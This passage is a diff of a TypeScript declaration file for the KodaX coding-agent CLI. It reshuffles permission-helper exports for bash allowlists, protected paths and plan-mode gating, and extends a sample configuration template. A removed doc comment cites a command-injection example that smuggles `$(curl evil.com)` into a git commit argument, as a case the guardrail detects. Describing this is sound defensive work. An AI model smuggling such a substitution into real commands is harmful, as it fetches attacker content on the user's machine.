-export { B as BUILTIN_COMMANDS, C as Command, I as InkREPLOptions, a as InkRuntimeRunner, b as InkRuntimeRunnerInput, c as InkRuntimeStatusProvider, d as InkTransientNotice, R as RUNTIME_PERMISSION_PENDING_NOTICE, e as RepLOptions, f as ReplRuntimeAutoModeControl, g as ReplRuntimeAutoModeSettings, h as ReplRuntimePermissionDecision, i as ReplRuntimePermissionGrantSuggestion, j as ReplRuntimePermissionPrompt, k as ReplRuntimePermissionRequest, l as ReplRuntimeRunner, m as ReplRuntimeRunnerInput, n as ReplRuntimeStatusProvider, o as executeCommand, p as getCommandRegistry, q as parseCommand, r as processSpecialSyntax, s as runInkInteractiveMode, t as runInteractiveMode, u as toReplRuntimeAutoModeSettings } from './types-chunks/repl.d-Ie_ZXb_U.js';
-import { a as BashPrefixExtractor, Q as KodaXEvents, t as KodaXAgentMode, b5 as ProviderRecoveryEvent, ad as KodaXResult } from './types-chunks/bash-prefix-extractor.d-uAe2Oqda.js';
-import { c as QueuedMessage } from './types-chunks/types.d-BH0ZkTGf.js';
-export { H as HistorySeedSourceMessage, R as RestoreHistoryItemsFromSessionInput, a as RestoredHistorySeed, e as extractHistorySeedsFromMessage, b as extractHistorySeedsFromMessages, c as extractTextContent, d as extractTitle, f as formatMessagePreview, r as restoreHistoryItemsFromSession, s as seedToHistoryItem, t as toolCallSeedToHistoryToolCall, g as trimPersistedUiHistorySnapshot } from './types-chunks/sdk-session-DB9KksIx.js';
-import { c as CommandInfo } from './types-chunks/utils.d-CVp6bFl9.js';
-export { A as AutoModeSettings, a as CommandCallbacks, g as CurrentConfig, I as InteractiveContext, h as InteractiveMode, K as KODAX_CONFIG_FILE, i as KODAX_DIR, j as KODAX_EXAMPLE_CONFIG_FILE, k as KODAX_INTEGRATION_EXAMPLE_FILES, l as KODAX_SESSIONS_DIR, m as KODAX_VERSION, P as PREVIEW_MAX_LENGTH, R as ResolveAutoModeSettingsInput, n as ResolvedAutoModeSettings, o as RuntimeSurfaceMode, p as RuntimeSurfaceStatus, q as createInteractiveContext, r as ensureExampleConfigFile, s as ensureExampleConfigFiles, t as getGitRoot, u as getProviderList, v as getProviderModel, w as getVersion, x as hydrateProcessEnvFromShell, y as isProviderConfigured, z as loadAutoModeSettings, B as loadConfig, D as prepareRuntimeConfig, E as rateLimitedCall, F as registerConfiguredCustomProviders, G as resolveAutoModeSettings, H as resolveRuntimeEffortSelection, J as resolveRuntimeModelSelection, L as resolveRuntimeProviderSelection, M as saveConfig, N as touchContext } from './types-chunks/utils.d-CVp6bFl9.js';
-import { d as KodaXCustomProviderConfig } from './types-chunks/types.d-DIpZJKUl.js';
-export { S as KodaXTaskResultMetadata, T as KodaXTaskResultSource } from './types-chunks/types.d-DIpZJKUl.js';
+import { A as AppProps, O as Message, au as UIState, h as CreatableHistoryItem, m as HistoryItem, ar as ToolCall, at as UIActions, K as KeyInfo, B as KeypressHandler, aj as StreamingState, V as PromptEditingMode, I as InputPromptProps, ai as StatusBarProps, ao as Theme, as as ToolCallStatus, ak as Suggestion, av as UseTextBufferReturn, H as HistoryEntry, Q as PastedContent, s as HistoryItemInfo, S as PermissionMode } from './types-chunks/public-api.d-CewTvUKV.js';
+export { a as AppState, b as AppendClientNoticeOptions, C as CompactSessionOptions, c as CompactSessionResult, d as Completer, e as Completion, f as ConfirmResult, g as ConversationPageCacheCapacityError, i as CursorPosition, D as DEFAULT_UI_STATE, j as DeleteSessionResult, F as FileSessionStorage, k as ForkSessionOptions, l as FullTranscriptSessionData, n as HistoryItemAssistant, o as HistoryItemBase, p as HistoryItemError, q as HistoryItemEvent, r as HistoryItemHint, t as HistoryItemSidecar, u as HistoryItemSystem, v as HistoryItemThinking, w as HistoryItemToolGroup, x as HistoryItemType, y as HistoryItemUser, z as KeypressEvent, E as KeypressHandlerPriority, L as LearningBinding, G as LearningSurfaceSnapshot, J as LegacyMessageListProps, M as ListSessionsOptions, N as MemorySessionStorage, P as PERMISSION_MODES, R as PermissionContext, T as PreparedSessionAppendBaseline, U as PreparedSessionTailDelta, W as PromptSubmitPayload, X as RewindSessionOptions, Y as RunningSessionInfo, Z as SessionBundleExportDiagnostic, _ as SessionBundleExportFile, $ as SessionBundleExportOptions, a0 as SessionBundleExportResult, a1 as SessionBundleExportStatus, a2 as SessionConversationHistoryData, a3 as SessionConversationHistoryEntry, a4 as SessionConversationHistoryIssue, a5 as SessionConversationHistoryIssueCode, a6 as SessionConversationHistoryStatus, a7 as SessionConversationMutationBoundary, a8 as SessionData, a9 as SessionManager, aa as SessionReadCapture, ab as SessionReadError, ac as SessionReadErrorCode, ad as SessionReadOptions, ae as SessionStorage, af as SessionSummary, ag as SessionTranscriptEntry, ah as SessionTranscriptEntryType, al as TOOL_STATUS_ICONS, am as TextBuffer, an as TextBufferOptions, ap as ThemeColors, aq as ThemeSymbols, aw as VisualCursor, ax as VisualLayout, ay as WatchSessionsCallback, az as appendClientNotice, aA as archiveSession, aB as compactSession, aC as computeConfirmTools, aD as conversationHistoryFromCapture, aE as createConversationEntryChain, aF as createMemorySessionStorage, aG as createSessionConversationHistoryRevision, aH as createSessionManager, aI as deleteSession, aJ as emptyConversationEntryChain, aK as exportSessionBundle, aL as extendConversationEntryChain, aM as forkSession, aN as isPermissionMode, aO as listRunningSessions, aP as listSessions, aQ as loadFullTranscript, aR as loadSession, aS as normalizePermissionMode, aT as permissionModeDisplayName, aU as readConversationHistory, aV as readFullTranscript, aW as readSessionCapture, aX as rewindSession, aY as setActiveEntry, aZ as unarchiveSession, a_ as watchSessions } from './types-chunks/public-api.d-CewTvUKV.js';
+export { B as BUILTIN_COMMANDS, C as Command, I as InkREPLOptions, a as InkRuntimeRunner, b as InkRuntimeRunnerInput, c as InkRuntimeStatusProvider, d as InkTransientNotice, R as RUNTIME_PERMISSION_PENDING_NOTICE, e as RepLOptions, f as ReplRuntimeAutoModeControl, g as ReplRuntimeAutoModeSettings, h as ReplRuntimePermissionDecision, i as ReplRuntimePermissionGrantSuggestion, j as ReplRuntimePermissionPrompt, k as ReplRuntimePermissionRequest, l as ReplRuntimeRunner, m as ReplRuntimeRunnerInput, n as ReplRuntimeStatusProvider, o as executeCommand, p as getCommandRegistry, q as parseCommand, r as processSpecialSyntax, s as runInkInteractiveMode, t as runInteractiveMode, u as toReplRuntimeAutoModeSettings } from './types-chunks/repl.d-DvXQtgr7.js';
+import { Q as KodaXEvents, t as KodaXAgentMode, b6 as ProviderRecoveryEvent, ad as KodaXResult } from './types-chunks/bash-prefix-extractor.d-DStqKIlu.js';
+import { c as QueuedMessage } from './types-chunks/types.d-BzpPDBPV.js';
+export { H as HistorySeedSourceMessage, R as RestoreHistoryItemsFromSessionInput, a as RestoredHistorySeed, e as extractHistorySeedsFromMessage, b as extractHistorySeedsFromMessages, c as extractTextContent, d as extractTitle, f as formatMessagePreview, r as restoreHistoryItemsFromSession, s as seedToHistoryItem, t as toolCallSeedToHistoryToolCall, g as trimPersistedUiHistorySnapshot } from './types-chunks/sdk-session-C59RUrri.js';
+import { c as CommandInfo } from './types-chunks/utils.d-BpACJmzt.js';
+export { A as AutoModeSettings, a as CommandCallbacks, g as CurrentConfig, I as InteractiveContext, h as InteractiveMode, K as KODAX_CONFIG_FILE, i as KODAX_DIR, j as KODAX_EXAMPLE_CONFIG_FILE, k as KODAX_INTEGRATION_EXAMPLE_FILES, l as KODAX_SESSIONS_DIR, m as KODAX_VERSION, P as PREVIEW_MAX_LENGTH, R as ResolveAutoModeSettingsInput, n as ResolvedAutoModeSettings, o as RuntimeSurfaceMode, p as RuntimeSurfaceStatus, q as createInteractiveContext, r as ensureExampleConfigFile, s as ensureExampleConfigFiles, t as getGitRoot, u as getProviderList, v as getProviderModel, w as getVersion, x as hydrateProcessEnvFromShell, y as isProviderConfigured, z as loadAutoModeSettings, B as loadConfig, D as prepareRuntimeConfig, E as rateLimitedCall, F as registerConfiguredCustomProviders, G as resolveAutoModeSettings, H as resolveRuntimeEffortSelection, J as resolveRuntimeModelSelection, L as resolveRuntimeProviderSelection, M as saveConfig, N as touchContext } from './types-chunks/utils.d-BpACJmzt.js';
+import { d as KodaXCustomProviderConfig } from './types-chunks/types.d-CgrXrFrq.js';
+export { T as KodaXTaskResultMetadata, U as KodaXTaskResultSource } from './types-chunks/types.d-CgrXrFrq.js';
 import { Readable, Writable } from 'node:stream';
 import { a as McpServerConfig, b as McpServersConfig } from './types-chunks/config.d-CJy1WENT.js';
 export { E as ExtensionsIntegrationDocument, I as IntegrationConfigConflictError, a as IntegrationConfigController, b as IntegrationConfigDiagnostic, c as IntegrationConfigListener, d as IntegrationConfigSnapshot, e as IntegrationConfigSource, f as IntegrationConfigStatus, g as IntegrationDocumentValidator, h as IntegrationDomain, L as LegacyIntegrationMigrationDomainPlan, i as LegacyIntegrationMigrationPlan, j as LegacyIntegrationMigrationResult, M as McpIntegrationDocument, m as migrateLegacyIntegrationConfig, p as parseExtensionsIntegrationDocument, k as parseMcpIntegrationDocument, l as planLegacyIntegrationMigration, r as readExtensionsIntegration, n as readMcpIntegration, o as resolveIntegrationConfigPath, w as writeIntegrationDocument } from './types-chunks/integration-config.d-BNowXE8k.js';
-export { c3 as KodaXSessionUiHistoryItem, c4 as KodaXSessionUiHistoryItemType, c5 as KodaXSessionUiTextHistoryItem, c6 as KodaXSessionUiTextHistoryItemType, c7 as KodaXSessionUiToolCall, c8 as KodaXSessionUiToolCallStatus, c9 as KodaXSessionUiToolGroupHistoryItem } from './types-chunks/types.d-BA-Jwpfs.js';
-import { S as SignalCollector, e as AutoModeAskUser, j as AutoModeGuardrailConfig, r as AutoModeSharedState, t as AutoModeToolGuardrail, O as RulesLoadResult } from './types-chunks/guardrail.d-CXDYRgZ3.js';
-import './types-chunks/types.d-BbtGlKZu.js';
+export { cc as KodaXSessionUiHistoryItem, cd as KodaXSessionUiHistoryItemType, ce as KodaXSessionUiTextHistoryItem, cf as KodaXSessionUiTextHistoryItemType, cg as KodaXSessionUiToolCall, ch as KodaXSessionUiToolCallStatus, ci as KodaXSessionUiToolGroupHistoryItem } from './types-chunks/controller.d-C2aHqzHj.js';
+export { F as FILE_MODIFICATION_TOOLS, c as collectBashWriteTargets, g as generateSavePattern, d as getBashOutsideProjectWriteRisk, j as getPlanModeBlockReason, m as isAlwaysConfirmPath, n as isBashReadCommand, o as isBashWriteCommand, p as isCommandOnProtectedPath, r as isPathInsideProject, u as isToolCallAllowed } from './types-chunks/shell-command-sets.d-Dp4UvPLL.js';
+import { Z as SignalCollector, e as AutoModeAskUser, j as AutoModeGuardrailConfig, r as AutoModeSharedState, t as AutoModeToolGuardrail, Y as RulesLoadResult } from './types-chunks/guardrail.d-DM-OK0m3.js';
 import 'vscode-languageserver-protocol';
+import './types-chunks/types.d-BbtGlKZu.js';
 import './types-chunks/cost-tracker.d-BeaenODW.js';
-import './types-chunks/types-D3g6XUQr.js';
+import './types-chunks/types-Bf3Y3mW-.js';
 import './types-chunks/capability.d-K664nHOS.js';
-import './types-chunks/base.d-4e74xDdy.js';
+import './types-chunks/base.d-DxG0m09Z.js';
 import 'readline';
 import 'child_process';
-import './types-chunks/guardrail.d-BRE_ErEj.js';
-import './types-chunks/side-query.d-DTuLPcC5.js';
+import './types-chunks/side-query.d-CP1LiRiH.js';
 
 /**
  * App - KodaX CLI root component.
@@ -46,197 +46,16 @@ interface AppHandle {
     setTool: (tool: string | undefined) => void;
 }
 
-/**
- * Permission Utilities
- *
- * 权限工具函数 - 模式解析、匹配、路径检查
- *
- * Pattern format (ONLY for Bash tool in accept-edits mode):
- * - "Bash(npm install)" - exact command match
- * - "Bash(git commit:*)" - prefix wildcard match (matches "git commit -m 'msg'" etc.)
- * - "Bash(npm:*)" - command prefix wildcard (matches "npm install", "npm run build" etc.)
- *
- * Note: Bash(*) is REJECTED for safety. Use specific command patterns.
- */
-
-/**
- * Check if a bash command is strictly a safe read-only operation (Whitelist).
- *
- * FEATURE_152 (v0.7.38): replaces the pre-AST regex strip-then-classify
- * pipeline with `parseBashCommand` from `bash-ast.ts`. The AST gives us:
- *   - statements split on `&&` / `||` / `;` (we only allow null and `&&`),
- *   - pipeline stages split on `|` (every stage must be a safe-read command),
- *   - per-stage redirections (input redirects rejected; output redirects only
- *     allowed when the target is a null device, which discards output rather
- *     than writing — preserves Issue 129 behavior),
- *   - `unparseable: true` for inputs we can't model (heredocs, command
- *     substitution `$(...)`, backticks, bare `&`, etc.) — fail-closed to
- *     `false` so unmodeled syntax always falls through to confirmation.
- *
- * Per-stage syntactic checks (`isSingleBashReadCommand`) are unchanged —
- * the AST migration only replaces the splitting + null-device-strip layer.
- *
- * @param command - bash command string
- * @returns true if the command is a safe read operation
- */
-declare function isBashReadCommand(command: string): boolean;
-/**
- * Check if a bash command is a write operation.
- *
- * FEATURE_152 (v0.7.38): replaces the pre-AST regex blacklist with
- * `parseBashCommand` from `bash-ast.ts`. The AST eliminates two whole
- * classes of false positives the regex chain had:
- *   1. **Issue 129 strip-then-classify**: pre-AST code regex-stripped
- *      `2>NUL` / `2>/dev/null` BEFORE pattern matching, then ran a
- *      blacklist of pre-compiled regexes. The strip was fragile — any
- *      future fd-redirect form would re-introduce the false positive.
- *      Now redirections are structured tokens with a `target` field;
- *      `isNullDevice(target)` is the single source of truth.
- *   2. **Substring matches inside argv strings**: pre-AST `\\bset-content\\b`
- *      matched `set-content` even when it appeared inside a quoted string
- *      argument or inside a path. AST argv tokens are post-quote-stripping
- *      so PowerShell verb checks compare against actual command names.
- *
- * Detection rules (per-stage):
- *   - argv[0] OR argv[0..1] (joined with space) matches any entry in
- *     `BASH_WRITE_COMMANDS` (handles both `rm` and `git commit`).
- *   - any argv token matches a `POWERSHELL_WRITE_TOKENS` entry (these can
- *     appear inline, not just at stage start, due to PowerShell pipeline
- *     conventions — `ls | Set-Content foo` puts the verb at argv[0] of
- *     stage 2, but `New-Item -Path foo -Value bar` has it as argv[0] of
- *     stage 1; we cover both with a token-anywhere check).
- *   - any non-input redirection whose target is NOT a null device.
- *
- * Unparseable inputs (heredocs, `$(...)`) are conservatively returned as
- * `false` to match the pre-AST regex chain's behavior — those inputs just
- * didn't match anything in the regex blacklist either. Plan-mode and
- * auto-mode handle the unparseable case via separate confirmation paths.
- *
- * @param command - bash command string
- * @returns true if the command is a write operation
- */
-declare function isBashWriteCommand(command: string): boolean;
-/**
- * Check if a tool call is allowed by the user's allowlist patterns.
- *
- * FEATURE_153 (v0.7.38) — When `extractor` is supplied, bash commands are
- * routed through the LLM-backed prefix extractor, which:
- *   - Returns the SAFE PREFIX of the command (e.g. `git commit` for
- *     `git commit -m "msg"`)
- *   - Returns `injection_detected` for inputs containing command injection
- *     (`git commit -m "x" $(curl evil.com)`)
- *   - Returns `no_prefix` when no safe prefix can be determined
- * Patterns then match against the extracted prefix exactly. This eliminates
- * the pre-FEATURE_153 startsWith-based injection surface.
- *
- * When `extractor` is NOT supplied, falls back to the legacy
- * `command.startsWith(pattern)` matcher. Documented as insecure in
- * `matchesBashPatternLegacy` — KodaX's REPL always supplies an extractor in
- * production; the legacy branch exists for tests and headless SDK consumers
- * without LLM access.
- *
- * Note: Only Bash tool is supported for pattern matching.
- *
- * @param toolName — tool name (only "bash" / "Bash" matched)
- * @param input    — tool call input; reads `input.command`
- * @param allowedPatterns — entries like `Bash(git commit:*)` from
- *                          `~/.kodax/config.json` `alwaysAllowTools`
- * @param extractor — optional LLM-backed bash prefix extractor (FEATURE_153)
- * @param signal    — optional abort signal forwarded to the extractor
- */
-declare function isToolCallAllowed(toolName: string, input: Record<string, unknown>, allowedPatterns: string[], extractor?: BashPrefixExtractor, signal?: AbortSignal): Promise<boolean>;
-/**
- * Generate pattern string for saving
- */
-declare function generateSavePattern(toolName: string, input: Record<string, unknown>, allowAll: boolean): string;
-/**
- * Check if target path requires always-confirm (permanent protection zones)
- *
- * Protected zones (always require confirmation, regardless of mode):
- * - .kodax/ project config directory
- * - ~/.kodax/ user config directory
- * - Paths outside the project root AND outside the system temp directory
- *
- * System temp directories (`os.tmpdir()` and `$TEMP` / `$TMP` / `$TMPDIR`) are
- * treated as a safe scratchpad in all modes — writing there is auto-allowed.
- * This aligns with plan mode's `isPlanModeAllowedPath` semantics: both modes
- * already explicitly permit system-temp writes, so accept-edits and
- * auto-in-project should not be stricter than plan mode on this dimension.
- */
-declare function isAlwaysConfirmPath(targetPath: string, projectRoot: string): boolean;
-/**
- * Check if a bash command operates on any protected paths
- * Issue 052: Prevent "always" option for bash commands on protected paths
- */
-declare function isCommandOnProtectedPath(command: string, projectRoot: string, executionCwd?: string): boolean;
-/**
- * Check whether a path stays inside the project root after resolution.
- */
-declare function isPathInsideProject(targetPath: string, projectRoot: string): boolean;
-/**
- * Collect the file targets that a bash command might write to. Used by
- * plan-mode (`getPlanModeBlockReason`) and `getBashOutsideProjectWriteRisk`.
- *
- * FEATURE_152 (v0.7.38): backed by `parseBashCommand` AST. The pre-AST
- * version concatenated four overlapping regex sweeps over the raw command
- * string — each had its own substring-vs-token pitfalls (e.g. `tee`
- * matched as substring in `committee.txt`). The AST gives clean argv
- * tokens with quoting stripped, and per-stage redirection targets.
- */
-declare function collectBashWriteTargets(command: string): string[];
-declare function getBashOutsideProjectWriteRisk(command: string, projectRoot: string): {
-    dangerous: boolean;
-    reason?: string;
-};
-/**
- * v0.7.42 — Metadata-driven plan-mode gate.
- *
- * Decision order (first match wins):
- *
- *   1. Tool has `planModeAllowed: true` in its `LocalToolDefinition` →
- *      permitted (`null`). Covers planning-loop tools whose effect IS the
- *      planning workflow: `exit_plan_mode`, `task_stop`, `todo_*`,
- *      `ask_user_question`, plus read-class network queries
- *      (`web_search`, `mcp_search` / `mcp_describe` /
- *      `mcp_read_resource` / `mcp_get_prompt`).
- *   2. Tool has `sideEffect === 'readonly'` AND not explicitly disallowed →
- *      permitted (`null`). Read tools never need plan-mode gating.
- *   3. Path-aware FS-write escape: tools in `FILE_MODIFICATION_TOOLS`
- *      (computed from `sideEffect === 'mutates-fs' AND requires path`)
- *      can write IF the target path is `.agent/plan_mode_doc.md` or the
- *      system temp dir.
- *   4. `bash` special case: command-content-aware check via
- *      `isBashWriteCommand` + `collectBashWriteTargets` — read-only bash
- *      (`git status`, `ls`, …) is permitted; write bash with all targets
- *      in the plan-doc / temp escape is permitted; everything else
- *      blocks.
- *   5. Everything else with a side effect → blocked with a generic
- *      reason naming the side-effect class.
- *
- * Pre-v0.7.42 this function only gated `write`, `edit`, `undo`, `bash` —
- * a hardcoded 4-tool list that silently let `multi_edit`,
- * `insert_after_anchor`, `worktree_*`, `scaffold_*`, `stage_*`,
- * `dispatch_child_task`, `send_message`, `web_fetch`, `mcp_call` etc.
- * fall through to `return null` (permitted). The metadata-driven gate
- * closes that gap structurally — new mutating tools auto-block until
- * explicitly opted in via `planModeAllowed: true`.
- */
-declare function getPlanModeBlockReason(toolName: string, input: Record<string, unknown>, projectRoot?: string, executionCwd?: string | undefined): string | null;
-
 /**
  * REPL-side path-aware bash signal collector — FEATURE_158 Step 8 (v0.7.39).
  *
- * Bridges the coding-side `SignalCollector` contract to repl-side path
+ * Bridges the coding-side `SignalCollector` contract to coding-owned path
  * utilities (`extractPathsFromCommand`, `isAlwaysConfirmPath`,
  * `getBashOutsideProjectWriteRisk`, `collectBashWriteTargets`).
  *
- * Why this lives in @kodax/repl, not @kodax/coding:
- *   The AST + path-extraction utilities live in `packages/repl/src/permission/`
- *   for historical reasons (Issue 131 root-cause area). Lifting them to
- *   `@kodax/coding` is a separate refactor (out of FEATURE_158 scope per
- *   ADR-025 design decision). Instead, the guardrail accepts an
- *   `extraCollectors` config knob and the REPL injects this collector at
- *   bootstrap. Layer boundary preserved; no parallel paths.
+ * This integration collector stays in @kodax/repl because it adds REPL-owned
+ * protected-path policy. The shared AST, path extraction, and permission
+ * helpers live in @kodax/coding and remain usable by direct SDK consumers.
  *
  * Signal kinds produced (bash-only):
  *   - protected_path        (~/.kodax or <projectRoot>/.kodax)
@@ -2134,9 +1953,9 @@ declare function getThemeNames(): string[];
 declare function listRegisteredCommands(projectRoot?: string): CommandInfo[];
 
 declare const CONFIG_TEMPLATES: {
-    readonly core: "// Split configs: ~/.kodax/integrations/mcp.json, extensions.json, and a2a.json.\n// KodaX core configuration template.\n// Copy only the fields you need to ~/.kodax/config.json (strict JSON).\n// MCP, A2A, and Extensions live in ~/.kodax/integrations/*.json; use\n// `kodax integrations migrate` to preview legacy declarations.\n{\n  // Active provider alias and optional model override. Run `kodax setup` or\n  // `/model` instead of editing these manually when possible.\n  // \"provider\": \"deepseek\",\n  // \"model\": \"deepseek-v4-flash\",\n  // Add or reorder model ids shown by `/model` for a provider.\n  // \"providerModels\": {\n  //   \"deepseek\": [\"deepseek-v4-flash\", \"deepseek-v4-pro\"]\n  // },\n\n  // Interactive Runtime hosting: \"embedded\" (this process) or \"daemon\".\n  // \"runtimeMode\": \"embedded\",\n\n  // Native model reasoning. `effort` is the preferred explicit depth;\n  // `reasoningCeiling` is the session ceiling. `reasoningMode` and `thinking`\n  // remain accepted for backward compatibility.\n  // \"effort\": \"high\",\n  // \"planModeEffort\": \"high\",\n  // \"reasoningCeiling\": \"auto\",\n  // \"reasoningMode\": \"auto\",\n  // \"thinking\": true,\n\n  // Agent harness: \"ama\" enables adaptive multi-agent use; \"sa\" forces one\n  // agent. Permission mode is \"plan\", \"accept-edits\", or classifier-backed\n  // \"auto\".\n  // \"agentMode\": \"ama\",\n  // \"permissionMode\": \"accept-edits\",\n  // User-level Bash allow patterns. Project additions belong in\n  // <project>/.kodax/config.local.json. Broad Bash(*) is rejected.\n  // \"alwaysAllowTools\": [\"Bash(npm test)\", \"Bash(git status:*)\"],\n  // \"autoMode\": {\n  //   \"engine\": \"llm\",\n  //   \"classifierModel\": \"provider:model\",\n  //   \"timeoutMs\": 20000,\n  //   \"speculativeWindowMs\": 500\n  // },\n\n  // UI/manual locale.\n  // \"locale\": \"zh\",\n\n  // Custom providers store public connection metadata only. Put the actual\n  // credential in the named environment variable, never in this file. Use\n  // `kodax setup --custom` for the guided writer.\n  // \"customProviders\": [\n  //   {\n  //     \"name\": \"my-relay\",\n  //     \"protocol\": \"openai\",\n  //     \"baseUrl\": \"https://api.example.com/v1\",\n  //     \"apiKeyEnv\": \"MY_RELAY_API_KEY\",\n  //     \"model\": \"provider/model\",\n  //     \"models\": [\"provider/model\", \"provider/fast-model\"],\n  //     \"reasoning\": { \"efforts\": [\"off\", \"low\", \"high\"], \"default\": \"high\" },\n  //     \"userAgentMode\": \"compat\",\n  //     \"contextWindow\": 128000,\n  //     \"maxOutputTokens\": 8192,\n  //     \"thinkingBudgetCap\": 32000,\n  //     \"promptCacheAffinity\": false,\n  //     \"replayReasoningContent\": false,\n  //     \"strictThinkingSignature\": false,\n  //     \"streamMaxDurationMs\": 300000,\n  //     \"verifyStrategy\": \"models-list\"\n  //   }\n  // ],\n\n  // Repository intelligence. Mode: \"auto\", \"full\", \"light\", or \"off\".\n  // \"repoIntelligenceMode\": \"auto\",\n  // \"repoIntelligenceTrace\": false,\n  // \"repoIntelligence\": {\n  //   \"toolWaitMs\": 250,\n  //   \"workerTimeoutMs\": 30000,\n  //   \"workerOldSpaceMb\": 1024,\n  //   \"storageDir\": \"~/.kodax/repo-intelligence\"\n  // },\n\n  // Runtime/provider diagnostics and timeouts.\n  // \"streamIdleTimeoutMs\": 120000,\n  // \"verifierLog\": false,\n  // \"stallLog\": false,\n\n  // Ordered provider fallback for child tasks and optional model tiers used by\n  // workflow/dispatch model hints.\n  // \"fallbackProviders\": [\"ark-coding\", \"kimi-code\"],\n  // \"fastProvider\": \"openai\",\n  // \"fastModel\": \"gpt-5-mini\",\n  // \"deepProvider\": \"anthropic\",\n  // \"deepModel\": \"claude-opus-4-6\",\n\n  // Provider/LSP/ACP process settings.\n  // \"maxOutputTokens\": 8192,\n  // \"disablePromptCache\": false,\n  // \"lsp\": true,\n  // \"lspAutoDownload\": false,\n  // \"acpLogLevel\": \"info\",\n\n  // Automatic large compaction is always enabled. Percentage defaults to 75\n  // and is clamped to 15..90. A missing/zero absolute threshold is inactive;\n  // otherwise the smaller percentage, absolute, and physical limit wins.\n  // \"compaction\": {\n  //   \"enabled\": true,\n  //   \"contextWindow\": 128000,\n  //   \"triggerPercent\": 75,\n  //   \"triggerTokens\": 0\n  // },\n\n  // 0 disables automatic session pruning.\n  // \"sessionRetentionDays\": 0,\n\n  // Workflow host concurrency. The Runtime still applies its system cap.\n  // \"workflow\": { \"maxConcurrency\": 8 }\n}\n";
+    readonly core: "// Split configs: ~/.kodax/integrations/mcp.json, extensions.json, and a2a.json.\n// KodaX core configuration template.\n// Copy only the fields you need to ~/.kodax/config.json (strict JSON).\n// MCP, A2A, and Extensions live in ~/.kodax/integrations/*.json; use\n// `kodax integrations migrate` to preview legacy declarations.\n{\n  // Active provider alias and optional model override. Run `kodax setup` or\n  // `/model` instead of editing these manually when possible.\n  // \"provider\": \"deepseek\",\n  // \"model\": \"deepseek-v4-flash\",\n  // Add or reorder model ids shown by `/model` for a provider.\n  // \"providerModels\": {\n  //   \"deepseek\": [\"deepseek-v4-flash\", \"deepseek-v4-pro\"]\n  // },\n\n  // Interactive Runtime hosting: \"embedded\" (this process) or \"daemon\".\n  // \"runtimeMode\": \"embedded\",\n\n  // Worker-hosted embedded Runtime options. `configuredA2A` lets a\n  // Worker-hosted embedded Runtime load and reconcile\n  // ~/.kodax/integrations/a2a.json inside the Worker owner, so configured\n  // outbound A2A Agents appear as `external:<name>` and can be dispatched\n  // with spawn_agent. Default inline (non-Worker) CLI sessions already load\n  // the configured A2A plane automatically; this key switches the embedded\n  // session to a Worker-hosted Runtime and loads the plane in that mode.\n  // \"worker\": {\n  //   \"configuredA2A\": true\n  // },\n\n  // Native model reasoning. `effort` is the preferred explicit depth;\n  // `reasoningCeiling` is the session ceiling. `reasoningMode` and `thinking`\n  // remain accepted for backward compatibility.\n  // \"effort\": \"high\",\n  // \"planModeEffort\": \"high\",\n  // \"reasoningCeiling\": \"auto\",\n  // \"reasoningMode\": \"auto\",\n  // \"thinking\": true,\n\n  // Agent harness: \"ama\" enables adaptive multi-agent use; \"sa\" forces one\n  // agent. Permission mode is \"plan\", \"accept-edits\", or classifier-backed\n  // \"auto\".\n  // \"agentMode\": \"ama\",\n  // \"permissionMode\": \"accept-edits\",\n  // User-level Bash allow patterns. Project additions belong in\n  // <project>/.kodax/config.local.json. Broad Bash(*) is rejected.\n  // \"alwaysAllowTools\": [\"Bash(npm test)\", \"Bash(git status:*)\"],\n  // \"autoMode\": {\n  //   \"engine\": \"llm\",\n  //   \"classifierModel\": \"provider:model\",\n  //   // Omit timeoutMs for the 45s first-attempt / 90s retry defaults.\n  //   // A configured timeoutMs applies the same deadline to both attempts.\n  //   \"speculativeWindowMs\": 500\n  // },\n\n  // UI/manual locale.\n  // \"locale\": \"zh\",\n\n  // Sensitive environment variables are filtered from model-issued commands by\n  // default. List exact host variable names here to pass them to the command\n  // target (including ASRT); values are never stored in this file. Project\n  // config cannot extend this user-level list. Execution-control variables such\n  // as NODE_OPTIONS and BASH_ENV remain blocked.\n  // \"sandbox\": {\n  //   \"envPass\": [\"GH_TOKEN\", \"GITHUB_TOKEN\", \"OPENAI_API_KEY\"]\n  // },\n\n  // Custom providers store public connection metadata only. Put the actual\n  // credential in the named environment variable, never in this file. Use\n  // `kodax setup --custom` for the guided writer.\n  // \"customProviders\": [\n  //   {\n  //     \"name\": \"my-relay\",\n  //     \"protocol\": \"openai\",\n  //     \"baseUrl\": \"https://api.example.com/v1\",\n  //     \"apiKeyEnv\": \"MY_RELAY_API_KEY\",\n  //     \"model\": \"provider/model\",\n  //     \"models\": [\"provider/model\", \"provider/fast-model\"],\n  //     \"reasoning\": { \"efforts\": [\"off\", \"low\", \"high\"], \"default\": \"high\" },\n  //     \"userAgentMode\": \"compat\",\n  //     \"contextWindow\": 128000,\n  //     \"maxOutputTokens\": 8192,\n  //     \"maxOutputTokensField\": \"max_completion_tokens\",\n  //     \"thinkingBudgetCap\": 32000,\n  //     \"promptCacheAffinity\": false,\n  //     \"replayReasoningContent\": false,\n  //     \"strictThinkingSignature\": false,\n  //     \"streamMaxDurationMs\": 300000,\n  //     \"verifyStrategy\": \"models-list\"\n  //   }\n  // ],\n\n  // Repository intelligence. Mode: \"auto\", \"full\", \"light\", or \"off\".\n  // \"repoIntelligenceMode\": \"auto\",\n  // \"repoIntelligenceTrace\": false,\n  // \"repoIntelligence\": {\n  //   \"toolWaitMs\": 250,\n  //   \"workerTimeoutMs\": 30000,\n  //   \"workerOldSpaceMb\": 1024,\n  //   \"storageDir\": \"~/.kodax/repo-intelligence\"\n  // },\n\n  // Runtime/provider diagnostics and timeouts.\n  // \"streamIdleTimeoutMs\": 120000,\n  // \"verifierLog\": false,\n  // \"stallLog\": false,\n\n  // Ordered provider fallback for child tasks and optional model tiers used by\n  // workflow/dispatch model hints.\n  // \"fallbackProviders\": [\"ark-coding\", \"kimi-code\"],\n  // \"fastProvider\": \"openai\",\n  // \"fastModel\": \"gpt-5-mini\",\n  // \"deepProvider\": \"anthropic\",\n  // \"deepModel\": \"claude-opus-4-6\",\n\n  // Provider/LSP/ACP process settings.\n  // \"maxOutputTokens\": 8192,\n  // \"disablePromptCache\": false,\n  // \"lsp\": true,\n  // \"lspAutoDownload\": false,\n  // \"acpLogLevel\": \"info\",\n\n  // Automatic large compaction is always enabled. Percentage defaults to 75\n  // and is clamped to 15..90. A missing/zero absolute threshold is inactive;\n  // otherwise the smaller percentage, absolute, and physical limit wins.\n  // \"compaction\": {\n  //   \"enabled\": true,\n  //   \"contextWindow\": 128000,\n  //   \"triggerPercent\": 75,\n  //   